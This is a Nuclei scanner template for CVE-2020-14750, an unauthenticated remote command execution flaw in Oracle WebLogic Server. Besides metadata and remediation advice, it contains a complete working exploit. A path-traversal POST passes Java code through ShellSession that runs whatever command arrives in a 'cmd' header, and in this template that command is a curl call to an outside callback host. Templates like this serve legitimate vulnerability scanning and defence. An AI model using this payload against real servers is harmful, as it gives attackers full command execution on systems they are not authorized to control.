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CVE-2020-14750.yaml
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CVE-2020-14750.yaml
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id: CVE-2020-14750
info:
name: Oracle WebLogic Server - Remote Command Execution
author: princechaddha,DhiyaneshDk
severity: critical
description: |
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
remediation: |
Apply the latest security patches provided by Oracle to mitigate this vulnerability.
reference:
- https://github.com/pprietosanchez/CVE-2020-14750
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-14750
epss-score: 0.97545
epss-percentile: 0.99994
cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: oracle
product: fusion_middleware
shodan-query: http.html:"Weblogic Application Server"
tags: cve,cve2020,rce,oracle,weblogic,unauth,kev,packetstorm
http:
- raw:
- |
@timeout: 10s
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept: */*
cmd: curl {{interactsh-url}}
Content-Type: application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: word
part: header
words:
- "ADMINCONSOLESESSION="
- type: regex
part: body
regex:
- '<html><head></head><body>(.*)</body></html>'
# digest: 490a0046304402204aabe4225c65fb0936600d752e0b58f6d7fa54b799cc0e35164eb4fb8062ff300220062491e16f8491ec38ef16b572056c13b7169560bd3719b370f58f62ed553182:922c64590222798bb761d5b6d8e72950